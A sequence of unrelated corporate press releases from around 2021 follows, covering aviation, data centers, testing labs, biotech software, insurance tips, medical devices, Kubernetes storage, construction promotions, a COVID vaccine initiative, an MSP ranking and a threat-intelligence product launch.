Guests included members of the state legislature, the FAA, MassDOT Aeronautics Division, and the Massachusetts Airport Managers Association, industry leaders, and a wide array of aviation supporters. Governor Charles Baker officially proclaimed July as General Aviation Month, recognizing Massachusetts 37 public use airports which collectively support 199,000 jobs and more than $24.7 Billion in annual economic impact, according to MassDOT.

National Aviation Academy (NAA), alongside more than 80 aviation advocates and industry leaders, gathered at Minute Man Air Field in Stow, MA, on June 25, 2021, to kick off July as General Aviation Month in Massachusetts. Guests included members of the state legislature, the Federal Aviation Administration (FAA), the Massachusetts Department of Transportations (MassDOT) Aeronautics Division, and the Massachusetts Airport Managers Association (MAMA), aviation industry leaders, and a wide array of aviation supporters.

Governor Charles Baker officially proclaimed July as General Aviation Month, recognizing Massachusetts 37 public use airports which collectively support 199,000 jobs and more than $24.7 Billion in annual economic impact, according to MassDOT. Massachusetts airports are home to public safety agencies, including the State Police Air Wing, Boston MedFlight, and aviation workforce training, including National Aviation Academy, Cape Cod Community College, and Bridgewater State University.

MassDOT Aeronautics Division Administrator, Dr. Jeffrey DeCarlo, began the ceremony by reading a proclamation issued by Governor Charles Baker, General aviation and community airports play a critical role in the lives of our citizens, as well as the operation of our business and farms.

Governor Charles Baker additionally relayed that the Commonwealth of Massachusetts has a significant interest in the continued vitality of general aviation, aerospace, aircraft manufacturing, educational institutions, aviation organizations, community airports, and airport operators.

Among other positive impacts of public-use airports, the proclamation also acknowledges that General Aviation improves the overall quality of life by supporting emergency and medical healthcare services, law enforcement, firefighting and disaster relief along with investments in sustainable fuels and emerging technologies.

Dr. DeCarlo said that emerging technologies coming to general aviation, including Unmanned Aerial Vehicles (UAVs), will be as profound as the jet age decades ago  and that Massachusetts will remain a leader in aerospace development.

Speakers highlighting the value of General Aviation included Senator Jamie Eldridge, Representatives Kate Hogan, and Dan Sena, FAA New England Deputy Administrator Kenneth Knopp, Massachusetts Business Aviation Administration (MBAA) President David Richter, Aircraft Owners and Private Pilots Association (AOPA) Representative Sean Collins, and local Select Board Chairpersons from Stow and Boxborough, Ellen Sturgis and Les Fox.

David Dinneen, Business Development Professional of Gale Associates, organized the exciting celebration of General Aviation, and Don McPherson, Owner and Manager of Minute Man Air Field, hosted. Lunch was sponsored by National Aviation Academy and served by the airports award-winning, on-site restaurant, Nancys Airfield Cafe.

NAA is proud to be a part of the declaration of General Aviation Month, as it emphasizes the rewarding career opportunities the aviation industry has to offer. Additionally, it is essential to emphasize the global demand for certified aircraft mechanics and the critical need for FAA-approved aviation maintenance schools to provide quality-trained mechanics for the industry workforce to keep our skies and communities operating safely.

About National Aviation Academy

National Aviation Academy (NAA) has provided world-class aviation maintenance training since 1932. Dedicated to building a quality aviation maintenance workforce, NAA offers Aviation Maintenance and Advanced Aircraft Systems training. NAA has cultivated a worldwide reputation through an innovative curriculum, hands-on training, and a forward-thinking sensibility. Students gain industry knowledge and exceptional skills by engaging with faculty with years of experience across all maintenance sectors. Companies that hire NAA graduates offer long-term and viable careers with earning and growth potential. NAA trains individuals from across the globe at campuses located in Clearwater, FL, and Concord, MA. For more information, call (800) 659-2080 or visit http://naa.edu.

About Minute Man Air Field

Minute Man Airfield is home to more than 75 aircraft, numerous other businesses, and a strong community of pilots and non-pilots alike. The airport is owned and operated by Don McPherson. The Board of Airport Commissioners oversees airport operations, which comprise volunteers from local businesses, government, and aviation professionals, helping boost the economy, serve the community, and nurture the environment.


NetActuate continues to grow its footprint with a new deployment inside of the NAP of the Americas data center, located in Miami, Florida. The NAP of the Americas facility serves as a critical network hub for internet traffic coming to and from Latin America and the Caribbean, said Mark Mahle, CEO of NetActuate. We are pleased to offer a wide range of services from this densely interconnected location.

NetActuate continues to grow its footprint with a new deployment inside of the NAP of the Americas data center, located in Miami, Florida. Infrastructure services, including 1u to full rack colocation, as well as virtual machines and bare metal servers, are now available in this new location. Network services, including IP transit and BGP anycast, are also ready for customers to deploy.

The NAP of the Americas facility serves as a critical network hub for internet traffic coming to and from Latin America and the Caribbean, said Mark Mahle, CEO and Principal Technology Architect for NetActuate. We are pleased to offer a wide range of services, from colocation to bare metal servers to IP transit, from this densely interconnected location.

The NAP of the Americas data center is located in downtown Miami, and is home to a broad range of networks and interconnection partners. Miami is a key destination point for multiple global submarine cable systems, making it one of the top five most-connected cities in the world. Providers deployed in Miami can quickly and affordably access leading Latin American networks, reducing latency for their South and Central American end users.

Featuring multi-factor security and fully redundant power and cooling, this facility is certified compliant for HIPAA, ISO 27001, NIST 800-53/FISMA, PCI DSS, SOC 1 Type II, and SOC 2 Type II. NetActuates experienced 247 NOC and local technicians are available to provide remote hands and expert support.

Providers can easily deploy and expand their global presence on NetActuates anycast delivery platform, built on one of the largest peered IPv4 and IPv6 networks in the world. Purpose built to deliver low latency and high reliability across diverse global markets, NetActuates anycast platform is available in Miami, as well as over 30 US and global locations, with simple, predictable monthly pricing.

As part of NetActuates global footprint, customers can deploy their hybrid environments into this and over 30 additional US and global locations, without having to manage multiple vendors for their infrastructure and low-latency network services.

To learn more about NetActuates services from Miami, please schedule a call with a solution specialist by calling +1-919-381-5400 or visiting netactuate.com.

About NetActuate

Operating one of the 10 largest IPv4 and IPv6 peered networks in the world, NetActuate helps providers get closer to their end users  no matter where in the world they are. Available from over 30 locations worldwide, our managed network and infrastructure services simplify and accelerate the global distribution of online applications and SaaS platforms. Learn more today at +1-919-381-5400 or at netactuate.com. To learn more about BGP anycast and how it can help reduce latency across diverse global markets, visit NetActuate's anycast information resource site at http://www.anycast.com.
This new ASNT program affirms the proper qualification and certification of our workforce and shows that quality is built into every part of our company

QC Laboratories, Inc., a leading non-destructive testing and inspection lab supporting the Additive Manufacturing, Aerospace, Defense, & Space Industries, announced today that it achieved a new accreditation through the American Society of Nondestructive Testing (ASNT)s new Employer Based Certification (EBC) Audit Program, adding to its portfolio of certifications and accreditations. Becoming the fourth company in the world to earn this accreditation, QC Labs successfully completed the required written practice audit, on-site audit and EBC Program panel approval.

ASNTs EBC Audit Program provides the non-destructive testing (NDT) industry with an audit and registry program that ensures NDT service providers and inspection agencies meet the minimum requirements and comply with either SNT-TC-1A or CP-189 through the employers written practice.

Commenting on the achievement, Mr. Jose Crespo, General Manager of QC Labs, said: It was important for QC Labs to pursue this accreditation because weve held ourselves to the highest standard possible for over 50 years. Validation of that is essential to our customers satisfaction. This new ASNT program affirms the proper qualification and certification of our workforce and shows that quality is built into every part of our company.

For more information about the advantages of accreditation in this ASNT program for QC Labs and its customers, please listen to NDTnows media interview with QC Labs Jose Crespo here.

ABOUT QC LABS

QC Labs, a wholly owned subsidiary of Sintavia, LLC, is an industry-leading Non-Destructive Testing and Inspection service provider incorporated in the State of Florida in 1965 with branches in Hollywood, Florida, and Cincinnati, Ohio. QC Laboratories is a well-established leader in providing all disciplines of NDT services across diverse industrial classifications. With its team of NDT Inspectors and AWS certified welding inspectors, the company also performs weld inspections and welder certifications. Additionally, it specializes in high-precision thickness measurements for pipes, storage tanks, and marine vessels. QC Laboratories best-in-class technicians are certified to the highest industry standards including NAS410 and ASNT Levels I, II and III. Service capabilities are reinforced by its presence in robust industrial markets across the United States. QC Laboratories is also a pioneer in performing non-destructive testing for additively manufactured aerospace components and is a founding member of the Additive Manufacturer Green Trade Association (AMGTA). For more information, please visit http://www.qclabs.net.
We are excited about our long-term partnership with Sanofi in pharmaceutical development and manufacturing science.

Genedata, a leading provider of advanced software solutions for R&D, today announced that Sanofi, a globally leading biopharmaceutical company, has extended its license for Genedata Selector to facilitate the digitalization of their strain engineering and optimization workflows. Sanofi and Genedata have a longstanding collaboration using Genedata Selector to centralize the management of their strain genomes and harmonize their genome analysis processes. Sanofi scientists use Genedata Selector to identify high-performance strains through sophisticated analyses of genotypic with phenotypic data. Additionally, Genedata provides consulting services to support Sanofi in scaling up NGS data processing capabilities.

Genedata Selector is an innovative software platform for automating the analysis and management of omics data in bioprocess development. The scalable data management system provides configurable workflows for NGS data capture, integration with other omics data, as well as joint analysis and standardized reporting. The software also includes interactive analysis and intuitive visualization tools, enabling efficient identification of strain engineering targets. Many R&D groups use Genedata Selector as a central data exchange platform to foster collaboration between different internal engineering teams and external research organizations.

Genedata Selector enables Sanofi to improve strain optimization workflows saving time and resources in the development and optimization of production processes. Via the softwares easy-to-use interface, teams can collaborate to identify the highest performing strains for production through efficient management and visualization of all NGS data related to the optimization of production strains.

We are excited about our long-term partnership with Sanofi in pharmaceutical development and manufacturing science, said Othmar Pfannes, Ph.D., CEO of Genedata. At Genedata, we continually strive to help collaborators in the biopharma industry to speed up their R&D processes, streamline, and scale up their data processes. In addition to providing cutting-edge software, we are proud to contribute our domain expertise to help our clients overcome R&D data challenges.

About Genedata

Genedata transforms data into intelligence with innovative software solutions that incorporate extensive biopharma R&D domain knowledge. Multinational biopharmaceutical organizations and cutting-edge biotechs around the globe rely on Genedata to digitalize and automate data-rich and complex R&D processes. From early discovery all the way to the clinic, Genedata solutions help maximize the ROI in R&D expenditure. Founded in 1997, Genedata is headquartered in Basel, Switzerland with additional offices in Boston, London, Munich, San Francisco, Singapore, and Tokyo.

http://www.genedata.com

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Contact

Helena Magloire

Genedata

Public Relations

pr@genedata.com

Disclaimer

The statements in this press release that relate to future plans, events or performance are forward-looking statements that involve risks and uncertainties, including risks associated with uncertainties related to contract cancellations, developing risks, competitive factors, uncertainties pertaining to customer orders, demand for products and services, development of markets for the Company's products and services. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date hereof. The Company undertakes no obligation to release publicly the result of any revisions to these forward-looking statements that may be made to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events.

All product and service names mentioned are the trademarks of their respective companies.
Drivers should not settle with an expensive car insurance policy. There are many methods that can help anyone obtain affordable insurance deals, said Russell Rabichev, Marketing Director of Internet Marketing Company.

Drivers looking to purchase car insurance should take some things into consideration. No one should spend their hard-earned money on something useless to them. In the case of car insurance, there is always the risk of buying an insurance product that doesnt provide enough coverage. This happens quite often to consumers who are not well-informed on how the car insurance market works.

When buying auto insurance drivers should consider the next things:



Consider shopping online. Thanks to the internet, buying auto insurance is faster and easier than ever. Most insurance providers will allow their customers to purchase car insurance while using the insurer's website. Besides that, many insurance carriers are offering a discount that can be between 5% to 10% to those drivers that choose to purchases their insurance policies online.

Talk with an insurance agent. If some terms and conditions of the insurance policy are unclear, drivers should request the help of an insurance agent. Even though the services of an insurance agent are not free, it is always better to spend some money in order to avoid making a mistake. Insurance agents can provide the needed explanations and they can also help the drivers to customize their policies.

Consider bundling policies. One of the easiest methods used to save money on car insurance is bundling. Most insurers will offer generous discounts to those customers who are bundling two or more policies. Usually, drivers are bundling the car insurance policy with the homeowners policy at the same insurance company.

Pay in advance for the whole policy. Drivers who choose to pay a single premium in advance will be rewarded with a discount. The insurance companies are offering this discount because they are saving some administrative costs.

Make the car safer. Besides being cheaper to insure, safer cars will better protect the passengers and are less likely to be stolen. Policyholders should contact their insurers to check what safety and anti-theft devices are approved and will lower the price of car insurance.

For additional info, money-saving tips and free car insurance quotes, visit https://compare-autoinsurance.org/

Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc.
Sonavex, Inc., a privately held medical device company with ultrasound technologies that deliver quantitative blood flow and other critical vascular data at the point of care, announced today the appointment of Dr. Alex Yevzlin as Chief Medical Officer and the launch of an Advisory Board comprised of world-renowned kidney disease and dialysis access leaders, including Dr. Randy Cooper, Terry Litchfield and Dr. John Ross. The newly formed group of advisors will provide guidance to Sonavex as it strives to improve dialysis access care for kidney disease patients via its initial ultrasound productsEchoMark and EchoSurethat allow medical professionals to collect essential vascular parameters in the dialysis clinic. Additionally, the Advisory Board will support Sonavex as it advances its pipeline of novel imaging-based dialysis access technologies.

It is a privilege to welcome Dr. Yevzlin, Dr. Cooper, Mrs. Litchfield and Dr. Ross to the Sonavex family, said David Narrow, CEO of Sonavex. We are invigorated by each members dedication to strengthening care for dialysis patients and are impressed by the diversity of expertise shared by the Board across fields of nephrology, surgery, care delivery, market access, and patient advocacy. We believe that the Boards deep understanding of the critical stakeholders involved in dialysis care, particularly the patient voice, is essential to creating widespread access to innovative ultrasound technologies to improve the lives of dialysis patients. Our team is thrilled to partner with this outstanding group of leaders as we execute on our mission.

Introducing the Chief Medical Officer, Alex Yevzlin, MD

Dr. Alex Yevzlin is currently Professor of Medicine and Director of Interventional Nephrology at the University of Michigan. He is an internationally recognized leader in the field of Interventional Nephrology, having edited the first three textbooks on the subject, and is a past President of the American Society of Diagnostic and Interventional Nephrology. His publications have been cited over 1,800 times. Dr. Yevzlin also served as Vice Chair of the National Kidney Foundations Kidney Disease Outcomes Quality Initiative (KDOQI) committee, responsible for the Clinical Practice Guidelines for Vascular Access. In addition to his academic contributions, he has been involved in the invention, design, and commercialization of multiple medical devices in his role as chief medical officer, chief science officer, and founder of multiple start-up medical device and biotech companies. Dr. Yevzlin graduated magna cum laude from Dartmouth College and completed his residency in Internal Medicine at the University of Michigan and fellowship in Nephrology at Northwestern.

Introducing the Advisory Board Members (in alphabetical order)

Randy Cooper, MD, FASDIN

Dr. Randy Cooper joined Southwest Kidney Institute (SKI), a practice with 60 nephrologists throughout Arizona, in 2002 after completing his eight-year tour of duty as a Major in the United States Air Force in San Antonio, Texas and relocating to Phoenix, Arizona. Dr. Cooper is a Board Member of SKI and serves on the Operations Committee. Dr. Cooper founded the SKI Vascular Center Interventional program in 2004 and was instrumental in moving the program from a hospital-based program into three outpatient facilities, improving patient experiences and overall satisfaction. He now serves as Medical Director and Managing Partner of SKI Vascular. Dr. Cooper received his MD degree from Ohio State University College of Medicine in Columbus, Ohio. He then completed his residency program in Internal Medicine at Wilford Hall Medical Center (WHMC) San Antonio, Texas and his nephrology fellowship at the University of Texas Health Science Center (UTHSC), San Antonio. He received board certification in Internal Medicine and maintains an active board certification in Nephrology. In addition, he is certified by the American Society of Diagnostic and Interventional Nephrology (ASDIN) in both peritoneal dialysis procedures and advanced hemodialysis access procedures. Dr. Cooper has presented at national meetings as well as published in peer-reviewed journals.

Terry Litchfield

Terry Litchfields role as a patient advocate began in the 1970s with her first job at the National Kidney Foundation. While completing her masters thesis on rehabilitation in end stage renal disease (ESRD), Factors that Influence Success, she met a very special patient, Bill Litchfield, who had become one of the first dialysis patients in the United States in 1968. Renal replacement therapy sustained her late husbands life for 46 years, making him the longest surviving dialysis patient in the U.S. Mrs. Litchfield has been an active member of the renal community for 30 years, including her role as co-founder and VP of Clinical Operations at Lifeline Vascular Access (DaVita) and co-founder of RMS Disease Management. Terry continues to shape how patients experience kidney care through her roles in a variety of patient advocacy and engagement groups, including the American Association of Kidney Patients (AAKP), the Kidney Health Initiatives Patient and Family Partnership Council and the Dialysis Vascular Access Coalition.

John Ross, MD

Dr. John Ross is widely recognized as one of the worlds leading experts in vascular access. Following his training in general surgery at the Medical University of South Carolina, Dr. Ross dedicated his practice to treating ESRD patients. He was a founding member of the Vascular Access Society of the Americas and was given the Lifetime Achievement Award by the American Society of Diagnostic and Interventional Radiology (ASDIN). Dr. Ross is a Fellow of both the American College of Surgeons and ASDIN. Dr. Ross has served as the PI on numerous industry trials, spoken at dozens of medical meetings around the world and has published on a wide variety of topics related to vascular access. In 2011, Dr. Ross founded the Dialysis Access Institute (DAI) in Orangeburg, SC. This one-of-a-kind facility serves as a model for patient-oriented care and hosts training for physicians, staff and administrators on a routine basis.

About Sonavex, Inc.

Sonavex, Inc. is a Baltimore-based medical device company originally spun out of Johns Hopkins. The company has developed a portfolio of novel ultrasound solutions that empower patient care by delivering critical visual and quantitative data to improve outcomes and reduce costs. For more information, please visit http://www.sonavex.com.
When we talk about performance and data safety, were talking about the strong replication, high availability, and failover that StorageOS brings to the table, confirms Andy Jeffries, CTO and co-founder at Civo.

StorageOS, a leader in cloud native storage management, today announced that the company has provided Civo with persistent cloud native storage volumes to support its managed Kubernetes services. Civo considered several storage vendors, including OpenEBS, Portworx, and Rook. But StorageOS was ultimately selected because it delivered on several essential MSP requirements  performance, data safety, competitive pricing, and round-the-clock support.

Using K3s, Civo customers can launch a Kubernetes cluster in around 90 seconds compared to the 20-30 minutes and substantial effort required with most services. When a Civo customer launches a K3s cluster, the platform spins up a series of virtual machine disks with cloud native storage provided by StorageOS.

MSPs like Civo require rapid storage resource deployment to meet customer SLAs. Fast access to cloud native storage allows them to deliver environments that can be safely deployed and destroyed at speed and at scale. Without the capability to scale storage on demand, deployment times can increase, clusters can fail, and customer applications can be affected.

When we talk about performance and data safety, were talking about the strong replication, high availability, and failover that StorageOS brings to the table, confirms Andy Jeffries, CTO and co-founder at Civo. StorageOS also demonstrated that their team understood the unique way cloud and managed service providers consume storage in terms of the vast number of volumes that are created and deleted on a regular basis  and the accompanying elasticity thats required to make that happen.

Before working with StorageOS, if one of Civos customers needed a database or uploaded file storage, Civo had to manually create an instance and use that as the backend storage. With StorageOS, its a native component of the deployment and  as such  happens automatically. StorageOS also enables Civo to carry out maintenance and rolling upgrades of its Kubernetes clusters, thanks to its replication function and transparency when moving volumes between nodes.

Civo has the kind of offering that tests the limit of IT infrastructure and container-based applications. The company is always hitting system limits and bottlenecks  like distributed key value stores. Were always keen to work with them and push these boundaries. Our team monitors how close theyre getting to the limits and, before theyre hit, offer advice on how to extend the capability so that it doesnt become a bottleneck, explains Alex Chircop, Founder and CEO, StorageOS.

Civo has written its own storage driver, which also utilises StorageOS. This allows customers to create their own volumes of persistent storage. Andy Jeffries provides some additional detail: Using StorageOS in this way has allowed us to reduce the price of our Kubernetes clusters  offering customers smaller static disks on the instances and still giving them the ability to add any size of volume they want to them. This means customers now pay for what they use rather than resources they dont need. To that end, you can buy a 1GB StorageOS volume attached to one of our Kubernetes clusters for as little as $0.10 per month.

Civos target markets include small to medium-sized development teams that need fast Kubernetes access for experimentation and testing, demos, learning and training environments, and continuous integration or delivery (CI/CD). The company also supports individual developers who work for  or represent  larger enterprises, including Oracle, Walmart, Verizon, Microsoft, and NetApp.

As a self-funded start-up, our biggest challenge has always been managing the entire platform  including the storage component  with a relatively small team. While its true that weve grown over the last 18 months, were still a lean operation, so we must rely heavily on product automation and vendor support to make sure we continue to deliver to our customers. StorageOS continues to support us and more than pulls their weight in this regard. As such, we now consider the company to be a key technical partner and a critical enabler for our future growth and evolution, concludes Andy Jeffries.

Read the full case study here

About StorageOS:

StorageOS is the software-defined cloud native storage platform for running containerised production applications in the cloud, on-prem and in hybrid/multi-cloud environments. Powering Kubernetes persistent storage, Enterprises can run any services and stateful applications on any infrastructure. StorageOS scales with application demand, delivering market leading performance, high availability, and data security. For more information, please visit https://storageos.com/.

About Civo:

Civo provides one of the worlds fastest-to-deploy managed Kubernetes services. Using K3s, Civo customers can launch a Kubernetes cluster in around 90 seconds compared to the 20-30 minutes and substantial effort required with most services. Originally founded in Hertfordshire in the UK, Civo now has a globally distributed team with employees in UK, America, India, and Malaysia. The companys target markets include small to medium development teams that need fast Kubernetes access for experimentation and testing, demos, learning and training environments, and continuous integration or delivery (CI/CD). For more information, please visit https://www.civo.com/
Senior Vice President, Central Region Manager Tim Kretzschmar (left) and Colorado Division Manager John Spight (right)

Swinerton is pleased to share two key promotions in our central region, which today encompasses Texas and Colorado. As Senior Vice President, Region Manager, Tim Kretzschmar has regional oversight for Swinertons operations in the central United States, including our offices in Denver, Dallas, and Austin. Stepping into the role of Division Manager, John Spight will lead Swinertons operations in Colorado.

Tim Kretzschmar has been promoted from Colorado Division Manager to Senior Vice President, Central Region Manager. He joined Swinerton in 2014 as Operations Manager in the Colorado Division, providing leadership on signature projects including Country Club Towers II & III, the Le Meridien, AC Marriott Hotel, and a parking structure at Denver International Airport. He was named Division Manager of Colorado in 2016 and then elected as a Vice President of Swinerton Builders in 2017 and to the Swinerton Builders board of directors in 2019. Under his tenure, the Colorado Division has diversified its portfolio expanding into new and profitable market sectors, each year setting new record revenues and net fees.

With nearly 30 years of construction experience beginning as an owners representative and transitioning into various project operations roles of increasing responsibility, Tims depth of construction expertise, unique perspective, commitment to delivering client service, and passion for developing and fostering talent will serve the growing central region well, said Swinerton President Dave Callis.

John Spight has been promoted from Operations Manager to Division Manager in Colorado, which focuses on market sectors such as commercial, healthcare, education, tenant improvements, and aerospace. After graduating with a degree in Construction Management from Colorado State University, Fort Collins, John worked in the construction industry before joining Swinertons Colorado Division in 2012 as an Assistant Project Manager. In his tenure, he has overseen signature projects such as Block 162, UCHealth Cherry Creek Medical Center, and Regis F. Groff campus for Denver Public Schools. Quickly advancing through project operations roles of increasing responsibility, John was named Operations Manager of Colorado in 2019, and was recognized as one of the Top 20 under 40 young professionals in 2020 by ENR Mountain States.

John has been instrumental in growing Colorados business and maintaining client satisfaction. With 15 years of construction experience and a passion for hiring and fostering talent, John will continue developing the next generation of construction leaders through supporting the success of project teams, participating in work procurement activities, and championing volunteer and corporate social responsibility endeavors in the Colorado division, said Tim Kretzschmar, Senior Vice President, Region Manager.

About Swinerton

Swinerton provides commercial construction and construction management services throughout the United States and is a 100% employee-owned company. Recognized nationally since 1888, Swinerton is the preferred builder and trusted partner in every market it servesproudly leading with integrity, passion, and excellence. For more information please visit: https://swinerton.com/
Her Royal Highness Princess Karen Chatman joins the fight against COVID 19 "Princess Karen Chatman spearheads the COVID BE GONE Initiative"

The House of Princess Abdulrahman Ibrahim Ibn Sori, announces a Global "COVID BE GONE" INITIATIVE SPEARHEADED BY PRINCESS KAREN CHATMAN

The House of Prince Abdulrahman Ibrahim Ibn Sori, announces a Global initiative spearheaded by Her Royal Highness Princess Karen Chatman. Princess Karen is partnering with other Royals from around the world in the fight against COVID 19. The Royals aim to increase knowledge of COVID 19 while emphasizing the importance of being vaccinated. The initiative "COVID BE GONE" is a Global Initiative with its first symposium schedule for December 2021in New York, New York, United States.

Her Royal Highness Princess Karen Chatman, kindly known as Princess Karen Chatman, is a favored Princess in the Americas and abroad, known for her humanitarian efforts, is an American-born citizen commonly referred to as the Princess of the People. Her Highness lives a very private life, yet she is highly active with various charities within her community and globally. Princess Karen Chatman is the founder of Think Pink for a Cure and the Princess Karen Foundation of Global Development, two charities dedicated to finding a cure for incurable diseases.

Her Highness Princess Karen has a rich and unique legacy and is one of the few known Royals of mixed race of African- Americans and Arab such as the Duchess of Sussex Megan Markel who is also of an African American mixed race. The two Royals, Princess Karen and Duchess Megan Markel both are dedicated to charitable contributions to society.

As other Royals from the America, Africa, Asia, and Europe joined the "COVID BE GONE" initiative, their collective objectives are to use their available resources as Royals, to influence suppliers, manufacturers, and producers of the COVID 19 vaccine, into lowering the overall cost of the vaccine.

Lowering the cost of the vaccine will make it more affordable for purchase. The "COVID BE GONE Taskforce a subsidiary of the COVID BE GONE initiative, and its members are in talks with various COVID 19 manufacturers seeking donations to countries that cannot afford to purchase the COVID 19 vaccine. These areas according to Her Highness Princess Karen are the countries most affected by COVID 19 and have the largest number of deaths. If we all work together to fight COVID 19, we are that much closer to ending COVID 19, says Her Royal Highness, Princess Karen Chatman.

Princess Karen further states, that it is important to take the vaccine not for yourself but for your loved ones. As a mother to my children Prince Elvis, Princess Krysta, Prince BrentonKonner, and a wife to my husband the Duke of Aqaba, Rayshon Chatman" Not taking the vaccine was not an option for me. I did it for them, so that I have a fighting chance at surviving a COVID 19 exposure.

Her Royal Highness Princess Karen Chatman is a published author, a working Princess, a philanthropist, and a living legend.

The article was written by.

Reporter, Selia Wang, Tokyo Japan

The Living Life International Magazine
As an organization we continue to evolve in an ever-changing climate to meet the needs of our clients, while maintaining a keen focus on security

The TNS Group has again been named as one of the worlds premier managed service providers on the prestigious 2021 Channel Futures MSP 501 rankings. TNS continues to place in the top 250 of Managed Service Providers (MSPs) globally.

The TNS Group has been selected as one of the technology industrys top-performing providers of managed services by the editors of Channel Futures. For the past 15 years, MSPs from around the globe have submitted applications to be included on this prestigious and definitive listing. The Channel Futures MSP 501 survey examines organizational performance based on annual sales, recurring revenue, profit margins, revenue mix, growth opportunities, innovation, technology solutions supported, and company and customer demographics.

Managed services providers that qualify for the list must pass a rigorous review conducted by the research team and editors of Channel Futures that rank applicants using a unique methodology that weighs financial performance according to long-term health and viability, commitment to recurring revenue and operational efficiency.

Channel Futures is pleased to name The TNS Group to the 2021 MSP 501.

"As an organization we continue to evolve in an ever-changing climate to meet the needs of our clients, while maintaining a keen focus on security, said Ami Soifer, CEO, The TNS Group. Our team is committed to providing high service levels and we are all incredibly proud to be recognized for our work as an exemplary Managed Service Provider, especially in light of such a challenging year.

This years list attracted a record number of applicants and was one of the most competitive in the surveys history. Winners are being recognized on the Channel Futures website and will be honored at a special ceremony at the MSP Summit held Nov. 1-2 in Las Vegas as part of the Channel Partners Conf. & Expo.

Since its inception, the MSP 501 has evolved from a competitive ranking into a vibrant group of innovators focused on high levels of customer satisfaction at small, medium, and large organizations in public and private sectors. Today, many of their services and technology offerings focus on growing customer needs in the areas of cloud, security, collaboration, and support of hybrid work forces.

The 2021 Channel Futures MSP 501 winners are the highest-performing and most innovative IT providers in the industry today. They stand head and shoulders above the competition, said Robert DeMarzo, vice president of content for the Channel Futures and Channel Partners Conference & Expo division of Informa Tech Channels. Coordinated by Channel Futures MSP 501 editor Allison Francis, this years list was clearly one of the best ever on record.

Vendors that are aligned with the Channel Futures MSP 501 are driving a new wave of innovation in the industry. Through their partnerships they are demonstrating a commitment to moving the MSP and entire channel forward, said Kelly Danziger, general manager of Informa Tech Channels. We extend our heartfelt congratulations to the 2021 winners and gratitude to the thousands of MSPs that have contributed to the continuing growth and success of the managed services sector.

The MSP 501 winners will be recognized at the MSP 501 Awards Gala at the Channel Partners Conference & Expo / MSP Summit, Nov. 1-4, in Las Vegas.

The complete 2021 MSP 501 list is available on Channel Futures website.

Background

The 2021 MSP 501 list is based on confidential data collected and analyzed by the Channel Futures editorial and research teams. Data was collected online from March 1-May 24, 2021. The MSP 501 list recognizes top managed service providers based on metrics including recurring revenue, profit margin and other factors.

About The TNS Group

The TNS Group operates from two primary locations in New York City and Stamford, CT and serves as a valued resource for businesses and nonprofit organizations by delivering the highest standard in IT services. We are a trusted Managed Security, IT and Cloud Services provider that offers IT services to support all industries by building and maintaining infrastructure, securing our client environments and providing strategic guidance for short and long-term planning.

Our clients include national businesses, companies, and nonprofit organizations in the New York City Metro Area, including Long Island, Westchester and Rockland Counties, and throughout Connecticut, New Jersey, and Massachusetts.

MEDIA CONTACT:

Erika Ellis

The TNS Group

203-316-0112 x 111

eellis@thetnsgroup.com

Managed Security

https://thetnsgroup.com/managed-it-security/

Managed IT Services

https://thetnsgroup.com/it-services/

Business Continuity

https://thetnsgroup.com/it-services/business-continuity/

Cloud Managed Services

https://thetnsgroup.com/it-services/cloud-managed-services/

IT Consulting

https://thetnsgroup.com/it-services/it-consulting/

The Leadership Team

https://thetnsgroup.com/leadership-team/

About Channel Futures

Channel Futures is a media and events platform serving companies in the IT channel industry with insights, industry analysis, peer engagement, business information and in-person events. Our properties include Channel Futures MSP 501, recognizing the most influential and fastest-growing providers of managed services in the technology industry, Channel Futures DEI 101, honoring and celebrating those who have often been under-represented in tech channels; Channel Partners Events, delivering unparalleled in-person events, including Channel Partners Conference & Expo, The MSP Summit, and Channel Evolution Europe; and DEI Community Group, our initiatives to educate, support, promote, and sustain diversity, equity, and inclusion (DEI) in the IT channel industry. Channel Futures is part of Informa Tech, a market-leading B2B information provider with depth and specialization in the Information and Communications (ICT) Technology sector. Every year, we welcome 7,400+ subscribers to our research, more than 3.8 million unique visitors a month to our digital communities, 18,200+ students to our training programs and 225,000 delegates to our events. Channel Futures is where the world meets the channel; We are leading Channel Partners forward. More information is available at channelfutures.com.

Media Contact

Ginette Andre

Associate Marketer, VIP Relations

ginette.andre@informa.com

Allison Francis

Editor, Channel Futures and MSP 501

allison.francis@informa.com
TruKno provides easy-to-use, actionable, and real time cyber threat dashboards. It is the first platform built from the ground up to bring Cyber Threat Intelligence to the masses.

TruKno today announced a new Cyber Threat Intelligence SaaS subscription that aims to help organizations reduce the risk of a breach by empowering their entire IT security staff with easy-to-use, actionable, and real time cyber threat dashboards.

On a Mission: MAKE THREAT INTELLIGENCE ACCESSIBLE TO THE 99%

Cyber security is all about finding and mitigating the latest cyber threats as soon as possible. The challenge with current Threat Intelligence solutions is that they are too cumbersome, complex and expensive. They are designed for the 1% i.e. it takes a Ph.D. level dedicated cyber staff and big budget to acquire, learn and operationalize these tools said Manish Kapoor, founder & CEO of TruKno. Our mission is to make Cyber Threat Intelligence mainstream by making it accessible to the 99% via affordable and easy-to-use curated threat dashboards. At the end of the day, it is all about getting the Right Information to the Right People at the Right Time.

Fueled by digitization of commerce across the globe, exponential rise of internet connected devices, growth of remote workers, and surge in well financed organized cyber-crime groups and nation state adversaries, cyber security has become one of the biggest risks facing organizations and enterprises. Recent high-profile breaches (e.g. Kaseya, Colonial Pipeline and SolarWinds) have shown that adversaries are exploiting zero-day or known vulnerabilities to infiltrate enterprise networks via highly sophisticated supply chain attacks, targeting critical OT infrastructure, cryptojacking cloud environments, etc.

Actionable Threat Intelligence: NO NOISE, PURE CONTEXT

When asked why they were using TruKno, one customer (Chief Information Security Officer of a mid-size enterprise) simply said: No Noise, Pure Context (about the latest cyber threats). TruKnos sole mission is provide Actionable Threat Intelligence to help cyber security teams reduce the risk of a breach. Blue Teams are able to do real time prioritization of the exploits (CVEs) & Indicators of Compromise (IOCs) actively being exploited in the wild. Red Teams are able to hunt smarter with deep insights into MITRE Techniques (TTPs) used by threat actors in the latest malware campaigns. Further, Cyber executives are able to gain insights into strategic threats impacting their industry, customers, vendors, and peers.

Two Ways to Consume TruKno Threat Intelligence: DASHBOARDS or APIs

